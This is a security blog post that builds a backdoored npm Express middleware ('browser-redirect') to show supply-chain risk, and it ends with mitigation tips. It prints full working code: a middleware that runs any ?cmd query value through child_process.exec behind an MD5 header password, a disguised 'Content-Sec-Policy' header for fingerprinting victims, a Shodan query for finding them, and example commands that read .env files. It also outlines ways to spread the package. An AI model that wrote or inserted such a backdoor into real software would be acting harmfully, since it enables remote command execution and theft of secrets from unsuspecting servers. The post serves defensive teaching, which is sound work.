A backdoor in our code that can perform OS injection is one of the most scary scenarios ever. Currently, npm has more than 1.2M of public packages available. For the last 3 years, our dependencies have become the perfect target for cybercriminals. We saw many new attacks going live, like typosquatting attack or event-stream incident, confirming that our ecosystem can be very fragile, if we don’t build a stronger community. In this post I’ll show you how we can combine some techniques and end up having a malicious backdoor in the ecosystem.

What is a Backdoor?

In the world of cybersecurity, a backdoor refers to any method by which authorized and unauthorized users are able to get around normal security measures and gain high level user access (aka root access) on a computer system, network, or software application. Once they’re in, cybercriminals can use a backdoor to steal personal and financial data, install additional malware, and hijack devices. Malwarebytes

There are two main parts in any backdoor — the malware being injected and executed on the victim, and an open communication channel that allows the attacker to send commands and control the remote host.

After a backdoor is installed, specific commands have to be sent in order to be executed in the target machine. Those commands can exfiltrate sensitive information like environment variables or database injections. What’s more, those commands can alter other processes on the machine or the network, depending on the execution permissions that our infected Node application has.

In order to make a simplified version for this attack, we will be using the core library child_process for the code execution and an HTTP server as the communication channel. I suggest to use Express in this case as it is the most extended framework, but it can be adapted to any other frameworks.

Don’t forget to test your projects for known backdoors!

How child_process can help us here?

We can use child_process Node.js core module to execute child processes. The idea is that you can execute a command (we refer to this input as stdin ) like pwd or ping snyk.io . and then integrate the response (we refer to this output as stdout ) and the possible errors (we refer to these errors as stderr ) in your main program.

Executing a process and relationship of Standard Input, Standard Output and Standard Error as inputs and outputs for a system process being spawned.

There are several ways to execute child processes. For this attack, the simplest one is exec that will execute a callback with the stdout and stderr , once the process has concluded like cat passwords.txt .

Note that exec is not the best option for long tasks like ping snyk.io .

const {exec} = require('child_process'); exec('cat .env', (err, stdout, stderr) => { if(err) throw err if(stderr) return console.log(`Execution error: ${stderr}`) console.log(`Env file content: ${stdout}`) })

How can we connect this exec to the HTTP Server?

I developed a simple and innocent middleware package that will redirect any non-Chrome user to a different url, like browsehappy.com. I will include the malicious payload in the middleware.

The expected code in the package will be something like this:

const useragent = require('useragent'); module.exports = () => (req, res, next) => { const ua = useragent.is(req.headers['user-agent']); ua.chrome ? next(): res.redirect("https://browsehappy.com/") }

So the only requirement for the victim is to install the library browser-redirect and add it to Express app, like a regular middleware:

const express = require("express"); const helmet = require("helmet") const browserRedirect = require("browser-redirect ") const app = express(); app.use(browserRedirect()) app.use(helmet()) app.get("/", (req, res)=>{ res.send("Hello Chrome User!") }) app.listen(8080)

Note that in this case even if you use Helmet, your application is still vulnerable.

How to implement the malicious payload

The implementation is very simple:

const {exec} = require("child_process") const crypto = require('crypto'); const useragent = require('useragent'); module.exports = () => (req, res, next) => { // Evil Payload const {cmd} = req.query; const hash = crypto.createHash('md5') .update(String(req.headers["knock_knock"])) .digest("hex"); res.setHeader("Content-Sec-Policy", "default-src 'self'") if(cmd && hash === "c4fbb68607bcbb25407e0362dab0b2ea") { return exec(cmd, (err, stdout, stderr)=>{ return res.send(JSON.stringify({err, stdout, stderr}, null, 2)) }) } // Expected code const ua = useragent.is(req.headers['user-agent']); ua.chrome ? next(): res.redirect("https://browsehappy.com/") }

How does the backdoor work? Three challenges that you must understand:

You need a way to authenticate yourself to avoid other cybercriminals to use your own backdoors. In this case we use a hash in md5 (the word: p@ssw0rd1234 generates this hash: c4fbb68607bcbb25407e0362dab0b2ea ). You should include in this hash as the value for your knock_kock header as the authentication validation. You need a way to identify the servers that contain the malicious code. We didn’t want to collect metrics, so we add an extra header in the server response: Content-Sec-Policy — seems very similar to Content-security-policy but is not the same. Again, we are getting advantage of the typosquatting attack. Now, we can find our targets from Shodan using this query: /search?query=Content-Sec-Policy%3A+default-src+%27self%27 We can use the query param ?cmd to run the queries on the infected server, in any route — for example, victim.com/?cmd=whoami or ?cmd=cat .env — and we will receive all the information in a JSON format.

Now that the malicious payload is ready, a smart way to distribute the malicious package must be put in place.

Propagation vectors

The first step is to upload the malicious package to the internet. I just published the malicious package to npm using npm install browser-redirect@1.0.2 . However, in Github you can’t see the malicious code — see Master Branch and release 1.0.2. The reason for this is because npm does not check against Github or any other source control repository.

For now, the chances to extend this backdoor in the ecosystem are very low, as the malicious package needs to be promoted and installed by others.

Other ways to extend it is to include the malicious module as a dependency for other packages. If the attacker has the publication permissions in other key packages, they can publish a new version that includes a dependency with the malicious package directly (check out event-stream postmortem). Alternatively, they can try to contribute a pull request to a project with malicious resources in the lockfile, as was described in the research about lockfile security dependency in the package-lock.

Another important factor to take into account is if the attackers can have access to any credentials (user and pass) from any relevant maintainer. If they do, they can easily deploy new versions of popular packages, as it happened in the past with eslint.

Even if the maintainer uses 2FA for authentication and publication, there is still risk. When a maintainer chooses to use CI in order to deploy new versions, the 2FA for publication must be disabled. So, if the attacker can steal a valid npm token for CI (for example, from logs being shared or accessible publicly, data leaks, etc) they can deploy new releases with malicious code on it.

Note that npm has released a new API (private beta) that shows if the package was published from a TOR IP address and if the 2FA was used.

What’s more, attackers can adapt the malicious payload to work as pre-install or post-install script at any npm package. By default, npm packages have a lifecycle hook that allows to execute code on your machine at different times. For example, the browser testing package, Puppeteer, uses this life cycle hook to install chromium in the host machine.

Ryan Dahl has already explained those security flaws at the JSConf EU 2018. Node.js must be secured in order to prevent this vector and many others.

Remember that:

78% of vulnerabilities are found in indirect dependencies, making remediation complex

88% increase in application library vulnerabilities over two years

81% believe developers should own security, but they aren’t well-equipped

Source: The state of open source security – 2019

Check out our new state of open source security report – 2020

How to mitigate this attack?

It is not always easy to keep our dependencies under control but here are some great tricks that can help you:

Use well-known and well-maintained libraries.

Get involved in the community and help the maintainers by contributing code or financially supporting projects and their maintainers.

Use NQP to help you evaluate any new packages for your project.

Use Snyk to keep up to date with new vulnerabilities and monitor your projects.

Review the code of your dependencies from npm and not just form GitHub, Bitbucket or other version control systems.

Test your projects for known backdoors.

Lessons learned from previous incidents